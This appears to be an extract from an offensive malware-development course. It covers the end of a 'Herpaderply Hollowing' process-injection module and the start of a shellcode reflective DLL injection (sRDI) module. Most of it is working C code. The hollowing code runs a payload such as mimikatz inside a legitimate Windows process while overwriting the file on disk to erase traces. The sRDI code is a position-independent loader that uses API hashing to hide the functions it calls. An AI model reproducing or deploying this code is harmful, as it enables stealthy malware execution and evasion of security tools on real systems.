if (!ReadFile(hSourceFile, pPeFileBuffer, dwPeFileSize, &dwNumberOfBytesRead, NULL) || dwPeFileSize != dwNumberOfBytesRead) {


PRNT_WN_ERR(TEXT("ReadFile"));
goto _END_OF_FUNC;
}
}

if (!WriteFile(hDestinationFile, pPeFileBuffer, dwPeFileSize, &dwNumberOfBytesWritten, NULL) || dwPeFileSize != dwNumberOfBytesWritten) {


PRNT_WN_ERR(TEXT("WriteFile"));
goto _END_OF_FUNC;
}

if (!FlushFileBuffers(hDestinationFile)) {
PRNT_WN_ERR(TEXT("FlushFileBuffers"));
goto _END_OF_FUNC;
}

if (!SetEndOfFile(hDestinationFile)) {
PRNT_WN_ERR(TEXT("SetEndOfFile"));
goto _END_OF_FUNC;
}

bResult = TRUE;

_END_OF_FUNC:
if (pPeFileBuffer && bOverWriteByHandle)
LocalFree(pPeFileBuffer);
return bResult;
}

Back to the CreateHerpaderplyHollowingProcess function, where the first part of it is shown below. This part begins by opening file handles to both the temporary file and the
legitimate Windows image. Then, CreateHerpaderplyHollowingProcess proceeds to call OverWriteTheTmpFile to write the payload into the temporary file, create a section, and then a
remote process. Finally, it maps the created section to the created process using the NtMapViewOfSection syscall.

BOOL CreateHerpaderplyHollowingProcess(IN LPWSTR szTmpFileName, IN LPWSTR szLegitPeImgFile, IN PBYTE pPeFileBuffer, IN DWORD dwPeFileSize) {

BOOL bResult = FALSE;


HANDLE hTmpPeFile = INVALID_HANDLE_VALUE,
hLegitPeFile = INVALID_HANDLE_VALUE,
hSection = NULL;
DWORD dwEntryPntRVA = 0x00,
dwShareModFlags = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
NTSTATUS STATUS = 0x00;
STARTUPINFOW StartupInfo = { 0x00 };
PROCESS_INFORMATION ProcessInfo = { 0x00 };
SIZE_T sViewSize = NULL;
PVOID pBaseAddress = NULL;
PWCHAR pwcDuplicateStr = NULL,
pwcDuplicateStr2 = NULL,
pwcLastSlash = NULL,
pwcTmp = NULL;

RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));

StartupInfo.cb = sizeof(STARTUPINFOW);

// ----------------------------------------

/*
* szLegitPeImgFile - L"C:\\Windows\\System32\\aitstatic.exe coffee"
* pwcDuplicateStr - L"C:\\Windows\\system32\\"
* pwcDuplicateStr2 - L"C:\\Windows\\System32\\aitstatic.exe"
*/

// Fetch current directory


if (!(pwcDuplicateStr = _wcsdup(szLegitPeImgFile)))
return FALSE;

if (pwcLastSlash = wcsrchr(pwcDuplicateStr, L'\\'))


*pwcLastSlash = L'\0';

// Remove the command-line arguments from the 'szLegitPeImgFile' string if any


if (!(pwcDuplicateStr2 = _wcsdup(szLegitPeImgFile)))
return FALSE;

if (pwcTmp = wcsstr(pwcDuplicateStr2, L".exe"))


*(pwcTmp + sizeof(".tmp")) = L'\0';

// ----------------------------------------

// Open a handle to the created .tmp file


if ((hTmpPeFile = CreateFileW(szTmpFileName, GENERIC_READ | GENERIC_WRITE, dwShareModFlags, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) ==
INVALID_HANDLE_VALUE) {
PRNT_WN_ERR(TEXT("CreateFileW [1]"));
goto _FUNC_CLEANUP;
}
// Open a handle to a legit PE file to replace the .tmp one on disk
if ((hLegitPeFile = CreateFileW(pwcDuplicateStr2, GENERIC_READ, dwShareModFlags, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) ==
INVALID_HANDLE_VALUE) {
PRNT_WN_ERR(TEXT("CreateFileW [2]"));
goto _FUNC_CLEANUP;
}

// ----------------------------------------

// Write the PE payload file (pPeFileBuffer, dwPeFileSize) to the .tmp PE file (hTmpPeFile)
if (!OverWriteTheTmpFile(NULL, pPeFileBuffer, dwPeFileSize, hTmpPeFile, FALSE))
goto _FUNC_CLEANUP;

printf("[+] Wrote The Payload File To The Created Temporary File \n");

// ----------------------------------------

// Create a section object backed by the .tmp PE file


if ((STATUS = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hTmpPeFile)) != 0x00) {
PRNT_NT_ERR(TEXT("NtCreateSection"), STATUS);
goto _FUNC_CLEANUP;
}

printf("[i] Created A Section Handle Of The Temporary File: 0x%0.8X \n", hSection);

// ----------------------------------------

if (!CreateProcessW(NULL, szLegitPeImgFile, NULL, NULL, TRUE, (CREATE_SUSPENDED | CREATE_NEW_CONSOLE), NULL, pwcDuplicateStr, &StartupInfo, &ProcessInfo))
{
PRNT_WN_ERR(TEXT("CreateProcessW"));
goto _FUNC_CLEANUP;
}

printf("[i] Created Remote Process With PID: %d \n", ProcessInfo.dwProcessId);

// ----------------------------------------

if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hSection, ProcessInfo.hProcess, &pBaseAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL,
PAGE_READONLY)))) {
PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
goto _FUNC_CLEANUP;
}

printf("[i] Base Address Of The Mapped Herpaderped Section: 0x%p \n", pBaseAddress);

DELETE_HANDLE(hSection);

// ----------------------------------------

// ...

Step 5 - Overwrite The Temporary File With A Legit Binary


After creating the process and before creating its thread, the OverWriteTheTmpFile function is called once more to overwrite the temporary file with a legitimate Windows binary. The
size of this binary should be larger than that of the PE payload currently written to the temporary file. This step ensures the removal of any traces of the payload from the disk when
the thread is created.

Step 6 - Patching Remote PEB And Thread Hijacking


As done earlier in the Process Hollowing and Ghostly Hollowing modules, before proceeding to run the mapped image, the ImageBaseAddress element of the remote PEB structure
should be patched to point to this image.

Patching the remote process's PEB structure and executing the PE payload's entry point are both done in the same function, HijackRemoteProcessExecution . Since the address to the
remote PEB structure is fetched through the thread's context (recall that the PPEB is located at the RDX register), we can set the RCX register value to point to our PE payload's entry
point.

The HijackRemoteProcessExecution function accepts the following parameters:

hProcess A handle to the remote process. This can be provided through the CreateProcessW WinAPI.
hThread A handle to the process's main thread. This can be provided through the CreateProcessW WinAPI.
pRemoteBaseAddress The base address of the mapped section in the remote process. This can be provided through the NtMapViewOfSection WinAPI.
dwEntryPointRVA The RVA to the entry point of the PE payload. This can be provided through the FetchEntryPntOffset function, which was used in the previous module but is
shown below for reference.

BOOL HijackRemoteProcessExecution(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pRemoteBaseAddress, IN DWORD dwEntryPointRVA) {

BOOL bSTATE = FALSE;


NTSTATUS STATUS = STATUS_SUCCESS;
CONTEXT Context = { .ContextFlags = CONTEXT_ALL };
LPVOID pRemoteImgBase = NULL;

if (!NT_SUCCESS((STATUS = g_NtApi.pNtGetContextThread(hThread, &Context)))) {


PRNT_NT_ERR(TEXT("NtGetContextThread"), STATUS);
goto _FUNC_CLEANUP;
}

Context.Rcx = (DWORD64)((ULONG_PTR)pRemoteBaseAddress + dwEntryPointRVA); // Thread Hijacking


pRemoteImgBase = (LPVOID)(Context.Rdx + offsetof(PEB, ImageBase)); // Process Hollowing - Get the offset to the PEB.ImageBase element [PPEB
is at Context.Rdx]

printf("[*] Entry Point Address: 0x%p \n", Context.Rcx);

if (!NT_SUCCESS((STATUS = g_NtApi.pNtSetContextThread(hThread, &Context)))) {


PRNT_NT_ERR(TEXT("NtSetContextThread"), STATUS);
goto _FUNC_CLEANUP;
}

printf("[i] New Image Base Address: 0x%p \n", pRemoteBaseAddress);

// Write the payload's ImageBase into remote process' PEB:


if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, pRemoteImgBase, &pRemoteBaseAddress, sizeof(ULONGLONG), NULL)))) {
PRNT_NT_ERR(TEXT("NtWriteVirtualMemory"), STATUS);
goto _FUNC_CLEANUP;
}

bSTATE = TRUE;

_FUNC_CLEANUP:
return bSTATE;
}

CreateHerpaderplyHollowingProcess Function
The code below is the complete CreateHerpaderplyHollowingProcess function.

BOOL CreateHerpaderplyHollowingProcess(IN LPWSTR szTmpFileName, IN LPWSTR szLegitPeImgFile, IN PBYTE pPeFileBuffer, IN DWORD dwPeFileSize) {

BOOL bResult = FALSE;


HANDLE hTmpPeFile = INVALID_HANDLE_VALUE,
hLegitPeFile = INVALID_HANDLE_VALUE,
hSection = NULL;
DWORD dwEntryPntRVA = 0x00,
dwShareModFlags = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
NTSTATUS STATUS = 0x00;
STARTUPINFOW StartupInfo = { 0x00 };
PROCESS_INFORMATION ProcessInfo = { 0x00 };
SIZE_T sViewSize = NULL;
PVOID pBaseAddress = NULL;
PWCHAR pwcDuplicateStr = NULL,
pwcDuplicateStr2 = NULL,
pwcLastSlash = NULL,
pwcTmp = NULL;

RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));

StartupInfo.cb = sizeof(STARTUPINFOW);

// ----------------------------------------

/*
* szLegitPeImgFile - L"C:\\Windows\\System32\\aitstatic.exe coffee"
* pwcDuplicateStr - L"C:\\Windows\\system32\\"
* pwcDuplicateStr2 - L"C:\\Windows\\System32\\aitstatic.exe"
*/

// Fetch current directory


if (!(pwcDuplicateStr = _wcsdup(szLegitPeImgFile)))
return FALSE;

if (pwcLastSlash = wcsrchr(pwcDuplicateStr, L'\\'))


*pwcLastSlash = L'\0';

// Remove the command-line arguments from the 'szLegitPeImgFile' string if any


if (!(pwcDuplicateStr2 = _wcsdup(szLegitPeImgFile)))
return FALSE;

if (pwcTmp = wcsstr(pwcDuplicateStr2, L".exe"))


*(pwcTmp + sizeof(".tmp")) = L'\0';

// ----------------------------------------

// Open a handle to the created .tmp file


if ((hTmpPeFile = CreateFileW(szTmpFileName, GENERIC_READ | GENERIC_WRITE, dwShareModFlags, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) ==
INVALID_HANDLE_VALUE) {
PRNT_WN_ERR(TEXT("CreateFileW [1]"));
goto _FUNC_CLEANUP;
}
// Open a handle to a legit PE file to replace the .tmp one on disk
if ((hLegitPeFile = CreateFileW(pwcDuplicateStr2, GENERIC_READ, dwShareModFlags, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) ==
INVALID_HANDLE_VALUE) {
PRNT_WN_ERR(TEXT("CreateFileW [2]"));
goto _FUNC_CLEANUP;
}

// ----------------------------------------

// Write the PE payload file (pPeFileBuffer, dwPeFileSize) to the .tmp PE file (hTmpPeFile)
if (!OverWriteTheTmpFile(NULL, pPeFileBuffer, dwPeFileSize, hTmpPeFile, FALSE))
goto _FUNC_CLEANUP;

printf("[+] Wrote The Payload File To The Created Temporary File \n");

// ----------------------------------------

// Create a section object backed by the .tmp PE file


if ((STATUS = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hTmpPeFile)) != 0x00) {
PRNT_NT_ERR(TEXT("NtCreateSection"), STATUS);
goto _FUNC_CLEANUP;
}

printf("[i] Created A Section Handle Of The Temporary File: 0x%0.8X \n", hSection);

// ----------------------------------------

if (!CreateProcessW(NULL, szLegitPeImgFile, NULL, NULL, TRUE, (CREATE_SUSPENDED | CREATE_NEW_CONSOLE), NULL, pwcDuplicateStr, &StartupInfo, &ProcessInfo))
{
PRNT_WN_ERR(TEXT("CreateProcessW"));
goto _FUNC_CLEANUP;
}

printf("[i] Created Remote Process With PID: %d \n", ProcessInfo.dwProcessId);

// ----------------------------------------

if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hSection, ProcessInfo.hProcess, &pBaseAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL,
PAGE_READONLY)))) {
PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
goto _FUNC_CLEANUP;
}

printf("[i] Base Address Of The Mapped Herpaderped Section: 0x%p \n", pBaseAddress);

DELETE_HANDLE(hSection);

// ----------------------------------------

// Overwrite the .tmp file with the legit exe image


if (!OverWriteTheTmpFile(hLegitPeFile, NULL, 0x00, hTmpPeFile, TRUE))
goto _FUNC_CLEANUP;

printf("[i] Overwrote The Temporary File With The Legitmate Binary \n");

DELETE_HANDLE(hTmpPeFile);
DELETE_HANDLE(hLegitPeFile);

// ----------------------------------------

if (!(dwEntryPntRVA = FetchEntryPntOffset(pPeFileBuffer)))
goto _FUNC_CLEANUP;

if (!HijackRemoteProcessExecution(ProcessInfo.hProcess, ProcessInfo.hThread, pBaseAddress, dwEntryPntRVA))


goto _FUNC_CLEANUP;

if (!NT_SUCCESS((STATUS = g_NtApi.pNtResumeThread(ProcessInfo.hThread, NULL)))) {


PRNT_NT_ERR(TEXT("NtResumeThread"), STATUS);
goto _FUNC_CLEANUP;
}

// ----------------------------------------

bResult = TRUE;

_FUNC_CLEANUP:
if (pwcDuplicateStr)
free(pwcDuplicateStr);
if (pwcDuplicateStr2)
free(pwcDuplicateStr2);
DELETE_HANDLE(hTmpPeFile);
DELETE_HANDLE(hLegitPeFile);
DELETE_HANDLE(hSection);
return bResult;
}

Demo
The images below showcase mimikatz.exe executing in the address space of an aitstatic.exe process. First, the remote aitstatic.exe process is created with a PID equal to
26344 .

Next, we check the HH77C1.tmp file's digital signature serial number and compare it to the aitstatic.exe executable image. Our implementation uses the aitstatic.exe file to
overwrite the PE payload in the temporary file, which explains the matching serial number in the following image.

The image below shows the mapped section at 0x00007FF774140000 . Notice how it's mapped alongside the process's image, aitstatic.exe , at 0x00007FF7750F0000 , and not
replacing it, as in Process Herpaderping.
Module 43 Shellcode Reflective DLL Injection (sRDI

Shellcode Reflective DLL Injection (sRDI)

Introduction
Shellcode Reflective DLL Injection or sRDI is a technique used to dynamically load a DLL into the memory of a target process without following the PE injection steps (e.g. PE
relocations) in the process. This is achieved by prepending the DLL with a position-independent shellcode that executes the required PE injection steps. This technique is used by
many C2 frameworks when creating a shellcode agent (e.g. Metasploit).

This module will incorporate methods from the Reflective DLL Injection module and therefore it is advised to review that module for a comprehensive understanding. At the end of this
module, the reader will be able to build an implementation that can turn any DLL into a position-independent shellcode reflective DLL.

RDI Vs sRDI
In RDI, the final implementation is a DLL file executed by a specialized loader. This loader requires the reflective DLL to export a specific function, whose address in the target process's
memory is calculated at a certain point during the injection process. This special function, named ReflectiveFunction in the Reflective DLL Injection module, is the function that is
responsible for parsing the reflective DLL and executing its entry point.

On the other hand, with sRDI, the injection process does not require a special loader and instead, the ReflectiveFunction function will be represented as a shellcode that is prefixed
to a DLL payload file, making the sRDI a more flexible injection technique.

The two main benefits of sRDI over RDI are:

1. The loader does not have to calculate an address to execute the payload.
2. The DLL payload can be any DLL file.

As mentioned earlier, an sRDI payload consists of two parts, the reflective DLL shellcode and the DLL payload. In memory, an sRDI payload will look as follows:

Required Compiler Optimization


Before proceeding into building the code for the sRDI shellcode, the following options in Visual Studio's compiler properties must be set:

Configuration Properties > Advanced > Whole Program Optimization > No Whole Program Optimization
C/C++ > General > Debug Information Format > Program Database for Edit And Continue (/ZI)
C/C++ > General > Support Just My Code Debugging > No
C/C++ > General > SDL Checks > No (/sdl-)
C/C++ > Optimization > Optimization > Disabled (/Od)
C/C++ > Optimization > Whole Program Optimization > No
C/C++ > Code generation > Runtime Library > Multi-threaded DLL (/MD)
C/C++ > Code generation > Security Check > Disable Security Check (/GS-)
C/C++ > Code generation > Enable C++ Exceptions > No
C/C++ > Code generation > Enable Function-Level Linking > Yes (/Gy)
Linker > General > Enable Incremental Linking > Yes (/INCREMENTAL)
Linker > Manifest File > Generate Manifest > No (/MANIFEST:NO)
Linker > Debugging > Generate Debug Info > No
Linker > Optimization > Enable COMDAT Folding > Yes (/OPT:ICF)

sRDI Guidelines
When building a shellcode reflective DLL, global variables, WinAPIs, and CRT-library functions should be completely avoided. This is because the code should be built as position-
independent code, and thus the use of external DLL libraries may result in accessing invalid addresses and cause the shellcode to crash.

To call a WinAPI, we should parse the called WinAPI's address manually as we've done in the past when building replacement functions for GetModuleHandle and GetProcAddress .

Furthermore, it is advised that all of the functions used in the reflective shellcode are exported from ntdll.dll because ntdll.dll is always loaded into every process at creation.
Therefore using ntdll.dll exported functions will allow us to execute our code without loading an additional DLL library (e.g. Kernel32.dll ).

The final item to keep in mind is that the functions that will form the reflective DLL shellcode must be directly aligned with each other. This means that the functions will be aligned in
memory adjacent to one another. Failing to do so will result in an invalid address when extracting the shellcode from the PE file. The following image shows the difference between a
function-aligned reflective DLL shellcode and an unaligned one.

Macros
The code discussed in this module will make use of some user-defined macros. These macros are split into the following types:

1.Memory Manipulation Macros: Utilizing the __movsb and __stosb intrinsic functions. As mentioned earlier in the course, an intrinsic function is a function that is processed by the
compiler itself, and not at runtime. Intrinsic functions will be used instead of CRT-library functions due to the aforementioned sRDI requirements.

#define MemCopy __movsb // Replacing memcpy


#define MemSet __stosb // Replacing memset
#define MemZero( p, l ) __stosb( ( char* ) ( ( PVOID ) p ), 0, l ) // Replacing ZeroMemory

2.Type-Casting Macros: These are macros that are used to type-cast input variables.

#define C_PTR( x ) ( PVOID ) ( x ) // Type-cast to PVOID


#define U_PTR( x ) ( ULONG_PTR ) ( x ) // Type-cast to ULONG_PTR

The ShellcodeReflectiveLdr Function


The ShellcodeReflectiveLdr function is similar to the ReflectiveFunction function in the Reflective DLL Injection module that was responsible for parsing and injecting the reflective
DLL. Similarly, ShellcodeReflectiveLdr will execute the PE injection steps on the DLL payload and eventually execute its entry point.

The ShellcodeReflectiveLdr function is shown below and accepts an optional parameter, pParameter , which can be passed by the loader program executing the sRDI payload. For
example, if the program injecting the sRDI payload was using the CreateThread WinAPI for payload execution, it can populate the pParameter parameter of the
ShellcodeReflectiveLdr function by passing it through the lpParameter parameter of the CreateThread WinAPI. Finally, ShellcodeReflectiveLdr passes the pParameter parameter
to the DllMain function of the DLL payload that is prepended to the reflective DLL shellcode.

PVOID ShellcodeReflectiveLdr(IN OPTIONAL PVOID pParameter) {

WIN32_API Win32Apis = { 0 };
DLL_MAIN DllMain = { 0 };
ULONG_PTR uDllAddress = NULL;
PVOID pInjectionAddress = NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_SECTION_HEADER pImgSecHdr = NULL;
ULONG uDosHdrSignature = IMAGE_DOS_SIGNATURE,
uNtHdrsSignature = IMAGE_NT_SIGNATURE;
SIZE_T ImageSize = 0x00;

MemZero(&Win32Apis, sizeof(Win32Apis));

// ------------------------------------------------------------------------------------------------------

// Populate the Win32Apis structs


if (!InitializeWinApi32(&Win32Apis))
goto _END_OF_FUNC;

// ------------------------------------------------------------------------------------------------------

// Get the base address of payload DLL to reflectively load


uDllAddress = ReturnBaseAddress();
do {

if (((PIMAGE_DOS_HEADER)uDllAddress)->e_magic == uDosHdrSignature) {
// Check if matches with Nt signature
pImgNtHdrs = C_PTR(uDllAddress + ((PIMAGE_DOS_HEADER)uDllAddress)->e_lfanew);
if (pImgNtHdrs->Signature == uNtHdrsSignature)
break;
}
uDllAddress++;
} while (TRUE);

ImageSize = pImgNtHdrs->OptionalHeader.SizeOfImage;

// Allocate new memory


if (!NT_SUCCESS(Win32Apis.NtAllocateVirtualMemory(NtCurrentProcess(), &pInjectionAddress, 0, &ImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)))
goto _END_OF_FUNC;

// Copy over header


//\
MemCopy(pInjectionAddress, uDllAddress, pImgNtHdrs->OptionalHeader.SizeOfHeaders);

// Copy over sections


pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
MemCopy(C_PTR(U_PTR(pInjectionAddress) + pImgSecHdr[i].VirtualAddress), C_PTR(uDllAddress + pImgSecHdr[i].PointerToRawData),
pImgSecHdr[i].SizeOfRawData);
MemZero(C_PTR(uDllAddress + pImgSecHdr[i].PointerToRawData), pImgSecHdr[i].SizeOfRawData);
}

// ------------------------------------------------------------------------------------------------------

// Resolve the import address table


if (!FixImportAddressTable(pImgNtHdrs, pInjectionAddress, &Win32Apis))
goto _END_OF_FUNC;

// ------------------------------------------------------------------------------------------------------

// Perform PE relocations
FixPeRelocations(pImgNtHdrs, pInjectionAddress);

// ------------------------------------------------------------------------------------------------------

// Apply sections protection


if (!FixMemPermissions(pImgNtHdrs, pInjectionAddress, &Win32Apis))
goto _END_OF_FUNC;

// ------------------------------------------------------------------------------------------------------

// Execute DLL entry point

Win32Apis.NtFlushInstructionCache(NtCurrentProcess(), NULL, 0);

if ((DllMain = C_PTR(U_PTR(pInjectionAddress) + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint))) {


MemZero(uDllAddress, pImgNtHdrs->OptionalHeader.SizeOfHeaders);
DllMain(pInjectionAddress, DLL_PROCESS_ATTACH, pParameter);
}

_END_OF_FUNC:
return pInjectionAddress;
}

The following sections will discuss each function invoked by the ShellcodeReflectiveLdr function.

The InitializeWinApi32 Function


ShellcodeReflectiveLdr uses a WIN32_API structure that holds the addresses of the invoked APIs. WIN32_API is defined as the following, where the InitializeWinApi32 function is
used to populate it.

typedef struct _WIN32_API


{
NTSTATUS(*NtAllocateVirtualMemory) (
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);

NTSTATUS(*NtProtectVirtualMemory) (
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG NewProtect,
_Out_ PULONG OldProtect
);

NTSTATUS(*NtFlushInstructionCache)(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_In_ SIZE_T Length
);

NTSTATUS(*LdrLoadDll)(
_In_opt_ PWSTR DllPath,
_In_opt_ PULONG DllCharacteristics,
_In_ PUNICODE_STRING DllName,
_Out_ PVOID* DllHandle
);

NTSTATUS(*LdrGetProcedureAddress)(
_In_ PVOID DllHandle,
_In_opt_ PANSI_STRING ProcedureName,
_In_opt_ ULONG ProcedureNumber,
_Out_ PVOID* ProcedureAddress
);
} WIN32_API, * PWIN32_API;

The user should be familiar with the first three functions, however, the below functions are replacements of kernel32.dll exported APIs.

LdrLoadDll This is used to load DLL files instead of LoadLibraryW .


LdrGetProcedureAddress This is used to fetch the address of a specified function instead of GetProcAddress .

Both of these functions are used when fixing the IAT of the target process.

Moreover, the InitializeWinApi32 function accepts a single parameter, pWin32Apis , which is a pointer to the WIN32_API structure. The InitializeWinApi32 function will search for
ntdll.dll 's base address in the target process's memory, and proceed to fetch the addresses of each of the functions in the WIN32_API structure using API Hashing. The hashes are
calculated using the HashCalculator.exe binary that's provided in this module and uses the Djb2 string hashing algorithm.

// Djb2 hashes generated By HashCalculator.exe


#define H_HASH 5381
#define H_DLL_NTDLL 0x70e61753
#define H_API_LDRLOADDLL 0x9e456a43
#define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6
#define H_API_NTALLOCATEVIRTUALMEMORY 0xf783b8ec
#define H_API_NTPROTECTVIRTUALMEMORY 0x50e92888
#define H_API_NTFLUSHINSTRUCTIONCACHE 0x6269b87f

BOOL InitializeWinApi32(OUT PWIN32_API pWin32Apis) {

PX05_PEB pPeb = NULL;


PLIST_ENTRY pHeadEntry = NULL;
PLIST_ENTRY pFlinkEntry = NULL;
PX05_LDR_DATA_TABLE_ENTRY pLdrEntry = NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = NULL;
PDWORD pdwAddrOfNames = NULL;
PDWORD pdwAddrOfFuncs = NULL;
PWORD pwAddrOfOrdinals = NULL;
ULONG_PTR uNtdllModule = NULL;
ULONG uHashValue = 0x00;
PUCHAR puTmpBfrPntr = NULL;
UCHAR uCurrentChar = NULL;
SIZE_T sBaseDllLength = 0x00;

// Iterate over the LDR_DATA_ENTRY to get the base address of ntdll to resolve our APIs
pPeb = CurrentPeb();
pHeadEntry = C_PTR(&pPeb->Ldr->InLoadOrderModuleList);
pFlinkEntry = C_PTR(pHeadEntry->Flink);

for (; pHeadEntry != pFlinkEntry; pFlinkEntry = C_PTR(pFlinkEntry->Flink)) {

// Calculate the hash value of the loaded DLL name


uHashValue = H_HASH;
pLdrEntry = C_PTR(pFlinkEntry);
puTmpBfrPntr = C_PTR(pLdrEntry->BaseDllName.Buffer);
sBaseDllLength = pLdrEntry->BaseDllName.Length;

// Same logic as CalculateHashW in HashCalculator.exe


do {

uCurrentChar = *puTmpBfrPntr;

if (U_PTR(puTmpBfrPntr - U_PTR(pLdrEntry->BaseDllName.Buffer)) >= sBaseDllLength)


break;

if (!*puTmpBfrPntr)
++puTmpBfrPntr;

// Convert current character to uppercase


if (uCurrentChar >= 'a')
uCurrentChar -= 0x20;

// Calculate hash
uHashValue = ((uHashValue << 5) + uHashValue) + uCurrentChar;

++puTmpBfrPntr;

} while (TRUE);

// Found ntdll
if (uHashValue == H_DLL_NTDLL) {
uNtdllModule = pLdrEntry->DllBase;
break;
}

// Verify if we managed to find ntdll base address


if (!uNtdllModule)
return FALSE;

// Resolve requiered headers/structs from ntdll to fetch the APIs


pImgNtHdrs = C_PTR(uNtdllModule + ((PIMAGE_DOS_HEADER)uNtdllModule)->e_lfanew);
pImgExportDir = C_PTR(uNtdllModule + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
pdwAddrOfNames = C_PTR(uNtdllModule + pImgExportDir->AddressOfNames);
pdwAddrOfFuncs = C_PTR(uNtdllModule + pImgExportDir->AddressOfFunctions);
pwAddrOfOrdinals = C_PTR(uNtdllModule + pImgExportDir->AddressOfNameOrdinals);

for (DWORD i = 0; i < pImgExportDir->NumberOfNames; i++) {

// Calculate the hash value of the function name


uHashValue = H_HASH;
puTmpBfrPntr = C_PTR(uNtdllModule + pdwAddrOfNames[i]);

// Same logic as CalculateHashA in HashCalculator.exe


do {

uCurrentChar = *puTmpBfrPntr;

if (!*puTmpBfrPntr)
break;

// Convert current character to uppercase


if (uCurrentChar >= 'a')
uCurrentChar -= 0x20;

// Calculate hash
uHashValue = ((uHashValue << 5) + uHashValue) + uCurrentChar;

++puTmpBfrPntr;
} while (TRUE);

// Address of the func


puTmpBfrPntr = C_PTR(uNtdllModule + pdwAddrOfFuncs[pwAddrOfOrdinals[i]]);

switch (uHashValue) {

case H_API_LDRLOADDLL:
pWin32Apis->LdrLoadDll = C_PTR(puTmpBfrPntr);
break;

case H_API_LDRGETPROCEDUREADDRESS:
pWin32Apis->LdrGetProcedureAddress = C_PTR(puTmpBfrPntr);
break;

case H_API_NTALLOCATEVIRTUALMEMORY:
pWin32Apis->NtAllocateVirtualMemory = C_PTR(puTmpBfrPntr);
break;

case H_API_NTPROTECTVIRTUALMEMORY:
pWin32Apis->NtProtectVirtualMemory = C_PTR(puTmpBfrPntr);
break;

case H_API_NTFLUSHINSTRUCTIONCACHE:
pWin32Apis->NtFlushInstructionCache = C_PTR(puTmpBfrPntr);
break;

default:
break;
}
}

// Check if every function has been resolved


if (!pWin32Apis->LdrLoadDll || !pWin32Apis->LdrGetProcedureAddress || !pWin32Apis->NtAllocateVirtualMemory || !pWin32Apis->NtProtectVirtualMemory ||
!pWin32Apis->NtFlushInstructionCache)
return FALSE;
else
return TRUE;
}

The ReturnBaseAddress Function


The ReturnBaseAddress function uses _ReturnAddress, which is another intrinsic instruction. This instruction is used to fetch the address of the instruction in the calling function
( ReturnBaseAddress ). The ReturnBaseAddress function is shown below where it simply type-casts the return of the _ReturnAddress instruction to ULONG_PTR before returning it.

ULONG_PTR ReturnBaseAddress() {
return U_PTR(_ReturnAddress());
}

The ReturnBaseAddress function is located as the last function in the function order (discussed in further detail in a later section). This will force the address returned by the
ReturnBaseAddress function to be the closest to the base address of the DLL payload file which is prepended with the shellcode. The reason behind this is to make it easier to fetch
the reflective DLL's PE headers as shown in the following snippet taken from the ShellcodeReflectiveLdr function.

If the ReturnBaseAddress function were to be placed in a different position in the order of the functions, the do-while loop would take more time to find the base address of the DLL
payload and potentially return an invalid address due to a false positive match.

// ...

// Get the base address of payload DLL to reflectively load


uDllAddress = ReturnBaseAddress();
do {

if (((PIMAGE_DOS_HEADER)uDllAddress)->e_magic == uDosHdrSignature) {
// Check if matches with Nt signature
pImgNtHdrs = C_PTR(uDllAddress + ((PIMAGE_DOS_HEADER)uDllAddress)->e_lfanew);
if (pImgNtHdrs->Signature == uNtHdrsSignature)
break;
}
uDllAddress++;
} while (TRUE);

// ...

The FixImportAddressTable Function


The FixImportAddressTable function is used to resolve the IAT of the DLL payload inside the target process image. The FixImportAddressTable function accepts the following
parameters:

pImgNtHdrs A pointer to the NT headers of the DLL payload to be reflectively loaded.


pInjectionAddress The base address of the injected DLL payload.
pWin32Apis A pointer to a populated WIN32_API structure.

BOOL FixImportAddressTable(IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PVOID pInjectionAddress, IN PWIN32_API pWin32Apis) {

PIMAGE_DATA_DIRECTORY pImgDataDir = &pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];


PIMAGE_IMPORT_DESCRIPTOR pImgImportDesc = NULL;
PIMAGE_THUNK_DATA pImgThunkFirst = NULL,
pImgThunkOrign = NULL;
PIMAGE_IMPORT_BY_NAME pImprtByName = NULL;
LPSTR lpTmpAsciiChar = NULL;
LPWSTR szTmpWideChar = NULL;
PUCHAR pTmpPtr = NULL;
WCHAR szTmpWideStr[1024] = { 0 };
